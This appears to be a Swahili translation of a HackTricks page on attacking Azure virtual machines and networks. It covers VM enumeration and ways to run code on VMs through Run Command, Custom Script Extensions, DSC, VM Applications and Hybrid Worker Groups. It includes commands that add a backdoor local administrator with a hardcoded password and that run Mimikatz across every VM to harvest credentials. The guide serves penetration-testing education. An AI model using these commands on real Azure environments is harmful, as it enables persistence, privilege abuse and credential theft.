Az - Virtual Machines & Network

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Kutoka kwa nyaraka: Mashine za virtuali za Azure ni moja ya aina kadhaa za rasilmali za kompyuta zinazopatikana kwa mahitaji, zenye uwezo wa kupanuliwa ambazo Azure inatoa. Kawaida, unachagua mashine ya virtuali unapohitaji udhibiti zaidi juu ya mazingira ya kompyuta kuliko chaguo zingine zinavyotoa. Kifungu hiki kinakupa taarifa kuhusu mambo unayopaswa kuzingatia kabla ya kuunda mashine ya virtuali, jinsi ya kuunda, na jinsi ya kuimudu.

Taarifa za Mtandao wa Azure

Mtandao wa Azure una vitengo tofauti na njia za kuwezesha usanidi wake. Unaweza kupata maelezo mfupi, mifano na amri za uorodheshaji za vitengo tofauti vya mtandao wa Azure katika:

pageAz - Azure Network

Azure Bastion

Azure Bastion inatoa suluhisho salama, lililosimamiwa kikamilifu la ufikiaji wa RDP (Itifaki ya Desktop ya Mbali) na SSH (Shell Salama) kupitia SSL kupitia portal ya Azure. Imeunganishwa ndani ya Mtandao wa Virtuali wa Azure, ikiruhusu uunganisho wa RDP na SSH kwa VMs kutumia IPs za kibinafsi, kuepuka haja ya IPs za umma. Hii inafanya kuwa mbadala salama zaidi, rahisi zaidi kwa njia za jadi zinazohusisha ugawaji wa IPs za umma na usanidi wa sheria za NSG kwa ufikiaji wa VM. Watengenezaji na wafanyakazi wa IT wanaweza kufikia VMs kwa usalama kupitia portal ya Azure kwa kutumia vivinjari vyao vya wavuti, kupunguza mchakato kwa mazingira ya maendeleo na majaribio.

Kutaja orodha ya Wenyeweji wote wa Azure Bastion katika usajili wako, unaweza kutumia amri ifuatayo:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

Kuchunguza VM

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Kuendesha amri kwenye VM

AAD Ingia kwenye VM

Inawezekana kuruhusu ufikiaji kwa watumiaji waliothibitishwa kupitia AzureAD. Kwa mfano, kujaribu kupata linux VM: ssh username@azure-corp.com@1.1.1.1 (ni muhimu kutumia barua pepe na azurecorp iliyotumiwa wakati wa kujaribu kuingia) unaweza kupata kosa kama hili:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Fuata maagizo hayo kwa kwenda https://microsoft.com/devicelogin na kuweka nambari, tumia barua pepe na nenosiri kama sifa na utaweza kuunganisha kupitia SSH (ikiwa mtumiaji ana idhini ya kutosha kufanya hivyo: jukumu la Kuingia kama Msimamizi wa Mashine Halisi au Kuingia kama Mtumiaji wa Mashine Halisi).

Amri ya Kutekeleza

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Endesha Ugani wa Script ya Kipekee

Vifaa vya ziada vya mashine halisi (VM) vya Azure ni programu ndogo zinazotoa usanidi baada ya kupeleka na kazi za otomatiki kwenye VM za Azure. Kwa mfano, ikiwa mashine halisi inahitaji usakinishaji wa programu, ulinzi wa antivirus, au uwezo wa kuendesha script ndani yake, unaweza kutumia ugani wa VM.

Kwa hivyo, ikiwa una ufikiaji wa kuandika, unaweza kutekeleza nambari ya kupindukia:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

Hali ya Matarajio ya Usanidi (DSC)

Hali ya Matarajio ya Usanidi (DSC) ni chombo cha PowerShell kinachofanana na Ansible, kinachotumika kuanzisha mwenyeji kupitia nambari. DSC inashirikiana na Azure, kuruhusu kupakia faili maalum za usanidi. Faili hizi lazima zizingatie muundo wa kisarufi. Kwa kipekee, kifaa cha DSC katika Azure kinaweza kutekeleza amri kutoka kwenye faili zinazokidhi vigezo fulani vya muundo, hata kama muundo si sahihi kwa viwango vya DSC, kama inavyoonyeshwa kwenye mchoro uliotolewa.

Utekelezaji wa amri hizi unarahisishwa na kazi ya Publish-AzVMDscConfiguration katika Az PowerShell. Mahitaji ni pamoja na faili ya .PS1 yenye kazi iliyofafanuliwa na faili lazima zipwe katika faili ya .zip. Hata kama muundo huenda usiwe sahihi kwa DSC, nambari bado itatekelezwa. Hata hivyo, kifaa kitaweka hali ya utekelezaji kama "kushindwa," na hakutakuwa na matokeo yoyote kutoka kwa amri kutokana na hali hiyo kubadilishwa na ujumbe wa kushindwa.

Vifafanuzi vya Maombi ya VM

Vifafanuzi vya Maombi ya VM huruhusu kupeleka tena maombi vilivyowekewa toleo kwenye Azure VM. Rasilimali hii inasaidia kupeleka na kusasisha maombi kote kwenye VMs. Kuweka hii, hatua kadhaa zinahitajika, zikiingiza amri kama New-AzGalleryApplication na New-AzGalleryApplicationVersion katika Az PowerShell.

Utekelezaji wa maombi au amri kupitia njia hii unajumuisha "VMAppExtension", ambayo inasakinishwa moja kwa moja wakati maombi yanatumika kwa VM. Kifaa hicho kinapata faili kutoka kwenye URI iliyotajwa na kuiita kwa jina sawa na maombi, bila kuwa na kifupisho. Ili kutekeleza faili kwa usahihi, uga wa "ManageActions" katika wito wa API ya REST lazima uwe umewekwa kurekebisha jina la faili na kifupisho sahihi. Kuweka njia hii, mara baada ya kukamilika, itafanana na muundo ulioonyeshwa kwenye mchoro uliotolewa.

Hata hivyo, njia hii ya utekelezaji ni polepole kiasi, ikichukua dakika 3-4 kutekeleza maombi au amri. Faili zinazohusiana na mchakato huu hufungwa katika saraka maalum (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ kwa nakala ya maombi na C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ kwa hali ya utekelezaji).

Mbinu zote zinatoa njia za kipekee za kutekeleza amri na kupeleka maombi katika mazingira ya Azure, kila moja ikiwa na mahitaji yake, hatua, na mambo ya kuzingatia.

Vikundi vya Wafanyakazi wa Hali ya Hewa (HWGs) katika Azure

Vikundi vya Wafanyakazi wa Hali ya Hewa (HWGs) ni kipengele katika Azure kinachoruhusu Runbooks, kilichowekwa katika Akaunti ya Uendeshaji, kutekelezwa kwenye Mashine halisi ya Virtual ya Azure (VM) ambayo ni sehemu ya HWG iliyotengwa. Utekelezaji huu unaruhusiwa kupitia kifaa kilichosakinishwa kwenye VM, ambacho hupakia nambari ya Runbook kwenye VM. Jambo muhimu katika mchakato huu ni kwamba vyeti halisi sio jambo linaloathiri utekelezaji kwa sababu nambari inatekelezwa na mamlaka ya juu, hasa kama SYSTEM au root, kama inavyoonyeshwa kwenye mchoro uliotolewa.

Maelezo muhimu kwa wale wanaotumia VM za Windows 10 ni lazima kufafanua toleo la PowerShell kwa Runbook. Inapaswa kuwekwa kutekelezwa kama Toleo la PowerShell 5.1 badala ya 7.1. Mahitaji haya yanatokana na ukweli kwamba PowerShell 7.1 haikusanikishwa kwa chaguo-msingi kwenye VM hizi, ikisababisha kushindwa kwa utekelezaji wa script ikiwa toleo la 7.1 limetajwa.

Kipengele hiki cha Azure kinatoa njia imara ya kiotomatiki na kusimamia kazi kote kwenye mazingira ya hali ya hewa, kuruhusu usimamizi wa kati na utekelezaji wa kazi kwenye VM za Azure.

Marejeo

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated